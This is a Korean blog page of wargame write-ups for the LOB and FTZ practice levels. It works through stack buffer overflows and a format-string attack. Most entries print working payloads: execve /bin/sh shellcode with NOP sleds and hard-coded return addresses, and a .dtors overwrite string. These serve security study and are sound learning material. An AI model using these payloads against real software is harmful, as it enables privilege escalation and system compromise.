Wargame/LOB
- [LOB] wolfman -> darkelf 2018.03.31
- [LOB] orc -> wolfman 2018.03.30
- [LOB] goblin -> orc 2018.03.30
- [LOB] cobolt -> goblin 2018.03.30
- [LOB] gremlin -> cobolt 2018.03.30
- [LOB] gate -> gremlin 2018.03.30
- [FTZ] level 20 - 2 2018.03.30
- [FTZ] level 20 2018.03.28 1
[LOB] wolfman -> darkelf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | /* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } | cs |
시작! 저번과 거의 같다.
memset으로 버퍼와 환경변수를 0으로 다 덮어버리고, 만약 argv[1]의 길이가 48을 넘는다면 바로 exit하게 되어있다.
exit 안당하려면 argv[1]의 길이는 48과 같거나 작아야한다. 딱 48로해서 ret만 덮어주자.
저기다 저기. 0xbffffc0b
payload : ./darkelf `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x0b\xfc\xff\xbf")'
클리어
'Wargame > LOB' 카테고리의 다른 글
[LOB] orge -> troll (0) | 2018.04.01 |
---|---|
[LOB] darkelf -> orge (0) | 2018.03.31 |
[LOB] orc -> wolfman (0) | 2018.03.30 |
[LOB] goblin -> orc (0) | 2018.03.30 |
[LOB] cobolt -> goblin (0) | 2018.03.30 |
[LOB] orc -> wolfman
환경변수 파괴 + 버퍼 파괴
memset으로 0값으로 초기화
페이로드 구성... 버퍼 크기가 40이나 있으므로 여기에 쉘코드를 구성해 넣고, argv[1]의 주소를 알아내 거기로 점프하자.
0x01. 가장 기본적으로 쉘을 띄우는 코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
bytes : 25
이 코드를 사용
./wolfman `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xbf\xbf\xbf\xbf")'`
세그먼트 폴트가 뜨면서 코어덤프가 생성되었다.
코어덤프를 통해서 argv[1]의 주소를 알아냈다.
저기로 점프하자.
payload : ./wolfman `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x2b\xfc\xff\xbf")'`
성공
'Wargame > LOB' 카테고리의 다른 글
[LOB] darkelf -> orge (0) | 2018.03.31 |
---|---|
[LOB] wolfman -> darkelf (0) | 2018.03.31 |
[LOB] goblin -> orc (0) | 2018.03.30 |
[LOB] cobolt -> goblin (0) | 2018.03.30 |
[LOB] gremlin -> cobolt (0) | 2018.03.30 |
[LOB] goblin -> orc
저번 풀이에서 환경변수 안썻더니.. 다음 문제에서 환경변수를 막아버렸다 ;;;
argv[1]에 쉘코드를 올리고 거기로 뛰자.
성공
'Wargame > LOB' 카테고리의 다른 글
[LOB] wolfman -> darkelf (0) | 2018.03.31 |
---|---|
[LOB] orc -> wolfman (0) | 2018.03.30 |
[LOB] cobolt -> goblin (0) | 2018.03.30 |
[LOB] gremlin -> cobolt (0) | 2018.03.30 |
[LOB] gate -> gremlin (0) | 2018.03.30 |
[LOB] cobolt -> goblin
쉘코드를 쓰려하다가... 이것마저 쉘코드를 쓰면 너무 공부가 안될거같아서 일부러 ret뒷영역에 넣고 이 주소값을 쓰기로 했다.
처음에 nop값을 10000으로 줫는데 얘가 nop을 너무 많이 주니까 영역이 0xbfffffff을 넘어가서 뒤에 쉘코드부분이 짤려버렸다 ;;
그래서 리턴해서 실행하면 오류는 안나는데; 주구장창 NOP만 실행하고 있는 것...
그래서 nop값을 1000으로 줄였더니 성공했다.
아니 이렇게 보고서 쓰기 귀찮을 줄이야 ㅂㄷㅂㄷ
'Wargame > LOB' 카테고리의 다른 글
[LOB] orc -> wolfman (0) | 2018.03.30 |
---|---|
[LOB] goblin -> orc (0) | 2018.03.30 |
[LOB] gremlin -> cobolt (0) | 2018.03.30 |
[LOB] gate -> gremlin (0) | 2018.03.30 |
[FTZ] level 20 - 2 (0) | 2018.03.30 |
[LOB] gremlin -> cobolt
전문제가 버퍼이용하란 거엿나....
그냥 쉘코드 이용했는데; 뭐 상관없겠지;
이번에도 쉘코드등록하고 공격 ㄱㄱ
사용쉘코드
export sh=`python -c 'print("\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`
payload
./cobolt `python -c 'print("A"*16+"BBBB"+"\x0c\xfb\xff\xbf")'`
'Wargame > LOB' 카테고리의 다른 글
[LOB] goblin -> orc (0) | 2018.03.30 |
---|---|
[LOB] cobolt -> goblin (0) | 2018.03.30 |
[LOB] gate -> gremlin (0) | 2018.03.30 |
[FTZ] level 20 - 2 (0) | 2018.03.30 |
[FTZ] level 20 (1) | 2018.03.28 |
[LOB] gate -> gremlin
lob 시작!
버퍼 크기 256.
BOF 취약점 있음
SHELL코드 환경변수에 등록후 그 주소값으로 ret를 덮어쓰기
dummy 없음
사용 쉘코드 : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
앞에 NOP으로 조금 채워넣음
굿
'Wargame > LOB' 카테고리의 다른 글
[LOB] goblin -> orc (0) | 2018.03.30 |
---|---|
[LOB] cobolt -> goblin (0) | 2018.03.30 |
[LOB] gremlin -> cobolt (0) | 2018.03.30 |
[FTZ] level 20 - 2 (0) | 2018.03.30 |
[FTZ] level 20 (1) | 2018.03.28 |
[FTZ] level 20 - 2
저번에 하다가 망해버려서... 다른 사람들 writeup을 봣다.
재미있는 걸 알았는데... 바로 정리정리
.dtors
- GNU 컴파일러로 컴파일 된 프로그램은 소멸자와 생성자의 테이블 섹션인 .dtors와 .ctors를 생성
생성자 함수와 ctors 섹션은 main()이 실행되기 전에 호출되고, 소멸자함수와 .dtors 섹션은 main()이 exit 시스템콜로 종료되기 직전에 호출된다.
그러므로 여기서는 main()의 ret영역 대신 이 .dtors 영역을 이용해 실행흐름을 변경하면 된다.
음... 사람들 마다 말하는게 좀 다른거같은데... 소멸자가 main()이 종료된 후 실행된다는데
찾아보니
.dtors
080abcde d __DTOR_END__
소멸자로 프로그램이 종료되기 전에 여기에 명시되있는 함수가 호출되는듯
- 모든 실행 프로그램안에는 __do_global_dtors()라는 함수가 있다.
- 이 함수는 소멸자로서 dtors섹션+4 번째 있는 메모리주소에 0이 아닌값이 있을 경우 함수로 실행을 시킨다.
- 프로그램 자체에서 소멸자함수를 호출하지 않을 경우 dtros + 4번째 메모리값은 0이 기본으로 되어있다.
FSB로 dtors+4번째 있는 값(__DTOR_END__이다)을 쉘코드 주소로 바꿀경우 소멸자가 호출될때 실행이 된다.
일단 .dtors의 주소를 찾자.
찾았다. 쉘코드 주소를 덮어쓸 장소는 저기다.
쉘코드는 저번글에서 이미 등록했고... 주소를 구하면 0xbfffc430인데 nop값이 있으니 여유있게 1000정도 더해주자
자... 이제 payload만 구성하면 될듯하다.
.dtors + 4 : 0x08049598
shellcode : 0xbfffc818
(python -c 'print("\x98\x95\x04\x08"+"\x99\x95\x04\x08"+"\x9a\x95\x04\x08"+"\x9b\x95\x04\x08"+"%8x"+"%4$n"+"%176x"+"%5$n"+"%55x"+"%6$n"+"%192x"+"%7$n")'; cat) | ./attackme
몇시간 삽질했지만... 풀었다 후..;;
이렇게 빨리 풀릴걸 삽질햇네 ㅡㅡ;
'Wargame > LOB' 카테고리의 다른 글
[LOB] goblin -> orc (0) | 2018.03.30 |
---|---|
[LOB] cobolt -> goblin (0) | 2018.03.30 |
[LOB] gremlin -> cobolt (0) | 2018.03.30 |
[LOB] gate -> gremlin (0) | 2018.03.30 |
[FTZ] level 20 (1) | 2018.03.28 |
[FTZ] level 20
LOB 게시판이지만 FTZ level 20을 풀면서 한번 써본다.
level20 문제는 일단 Format String Attack 문제이다.
링크된 이 블로그의 내용을 참고하였다. 잘정리된거 같다.
자 이제 문제를 풀자.
일단 파일은 위와 같이 보인다.
힌트를 보면 이 프로그램에 대해 알 수 있다.
일단 setreuid가 있으니 이제 쉘만 불러주면 될 것같다.
그러나 fgets함수에서 79자만 받아가기때문에... 버퍼오버플로우를 일으켜 메모리를 덮어쓸수가 없다.
gdb로 분석해보려했으나 main 심볼이 지워진듯하여 분석하지 못한다.
이제 포맷스트링어택의 차례다.
내가 여기에 설명하면 뭐하리... 백문이불여일견이라... 위에 링크에서 보도록하자.
일단 포맷스트링버그를 이용해서 분석해보았다.
%x가 4번째 나오는 부분에서 bleh버퍼가 시작되는것을 알 수있다.
=> 앞에 dummy값이 12byte있다.
한계까지 출력해보았다. 저기보이는 bffffae8이 sfp일것같다. 하지만 혹시 아닐지도 모른다.
포맷스트링에서 달러기호($)를 사용하면 인자에 바로 접근할 수 있다.
이렇게 4번째 인자에 바로 접근 가능해서 바로 AAAA(41414141)의 값이 출력되는 것을 볼 수 있다.
dummy(12)+bleh(80)+?+sfp(4)+ret(4)+argc(4) 로 되어있을테니... bleh뒤로 출력되는 값들이 어떤지 한번 보자.
오홍... argc가 1값일테니 이제 대충 스택이 어떻게 구성되는지 알 거 같다.
argv |
argc |
ret(4) : |
sfp(4) : |
dummy(8) |
bleh(80) |
dummy(12) |
인자에 바로 접근할 수 있으니... %27$n으로해서 리턴어드레스를 우리 쉘코드 주소로 옮겨주자.
처음에는 system함수를 부르려햇는데 주소도 모르고... 또 불러도 인자도 못넣고...
한참 생각후 환경변수에 등록하는 방법이 있었다는 사실을 떠올렸다..
쉘코드는 이걸 썻다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
자 이제 주소도 구했으니... 덮어쓰기를 해보자... 라고 생각했으나... ㅋㅋㅋㅋ
아 이렇게 멍청할수가... %n으로 저장하는 것은 %n앞에 지금까지 출력된 문자열의 길이이고
또 %n의 인자에 해당하는 값은 주소값으로 그 주소값이 가리키는 곳에 저장되는 것!
결국 ret를 덮어쓰려면... ret에 들어있는 값을 알아야하는게 아니라... ret가 위치한 주소를 알아야하는데 그걸 모른다 ㅇㅇ;
재미있는 방법을 생각해내었다.
./attackme "ABCD" 한다고 하면 ebp+12의 위치에 저 agrv의 주소가 있을 것이고, argv[0]과 argv[1]의 주소값에 실행파일명과 "ABCD"가 저장되어 있을 것이다.
쉘스크립트로 자동화를 좀 하였다.
./attackme AAAABBBBCCCC_TEST_ARG로 실행하고,
bleh값으로 "%숫자$p %숫자$s"으로 하여 '%숫자'인자의 값과 그 값의 주소에 있는 문자열을 출력하게 하였다.
이렇게 나왔다. 즉
argv[0]의 주소 : 0xbfffc15f / 저장된 문자열 : ./attackme
argv[1]의 주소 : 0xbfffc16a / 저장된 문자열 : AAAABBBBCCCC_TEST_ARG
여러번 실행을 통해 argv[0], argv[1]의 주소값이 바뀌는지 실험해보았다.
결과, 저 주소값은 고정되어있다는 것을 알 수 있었다.
그리고 테스트실행파일을 컴파일해본 결과 $ebp의 값도 고정된다.
이제 저 문자열들이 포맷스트링어택에서 몇번째 인자에 위치한지 알아보자.
미치겠네... 여기서 또 막혔다.
저장된 문자열로 "AAAAAAAAA ... AAAA"로 넣어서 찾아봤는데; 이게 실행마다 다르고 띄엄띄엄하다;;
아마 접근을 못할때가 잇어서 이럴때는 안되는것같다 ㅠ;
저번에 본건데 이 때 pattern_create.rb라는 도구가 도움이 될 것 같다.
(https://github.com/rapid7/metasploit-framework/blob/master/tools/exploit/pattern_create.rb)
Metasploit은 오프셋을 계산하는데 도움이 되는 pattern_create.rb 도구, 이 도구는 유일한 패턴을 가진 문자열을 생성한다.
1000개정도만 생성한것을 가져와봤다.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac 6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9 Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak 6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9 Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As 6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9 Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba 6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9 Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh
이걸 넣고 위치를 계산해보자.
가끔식 값을 출력못해주는데 몇번씩 돌려가면 이렇게 모을수 있다...
저 값들을 빅엔디안으로 정렬해보면...
6Ab7Ab8Ab9Ac 이다. 패턴에서 저부분을 찾아보면..
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1
저기에 있고, 저 부분의 위치가 122,123,124인것을 볼 때 문자열의 시작부분의 위치는....
109~110사이인것같다.
107~109가 /attackme 인것같다.
argv[0]의 주소 : 0xbfffc15f / 저장된 문자열 : ./attackme
위와 같으므로..
0xbfffc15f+1 = 0xbfffc160 / 저장된 문자열 : /attackme / 포맷스트링 인자위치 : 107
가 되겠다. 후.... 그럼 이제 역으로 ret의 주소를 계산하자...
ret의 포맷스트링인자위치는 27이고 0xbfffc160의 인자위치가 107이므로... 80의 위치차이가 난다.
그러므로 ret의 주소는 0xbfffc160 - (4*80) = 0xbfffc020이 된다!
제발 맞았으면 좋겟다; 개 노다가 ㅠㅠ;
는 망함....ㅋㅋㅋㅋㅋㅋ 뭔짓을 한거지
그냥 스택 ret주소 랜덤으로 계속 변하는데 ㅂㄷㅂㄷ
'Wargame > LOB' 카테고리의 다른 글
[LOB] goblin -> orc (0) | 2018.03.30 |
---|---|
[LOB] cobolt -> goblin (0) | 2018.03.30 |
[LOB] gremlin -> cobolt (0) | 2018.03.30 |
[LOB] gate -> gremlin (0) | 2018.03.30 |
[FTZ] level 20 - 2 (0) | 2018.03.30 |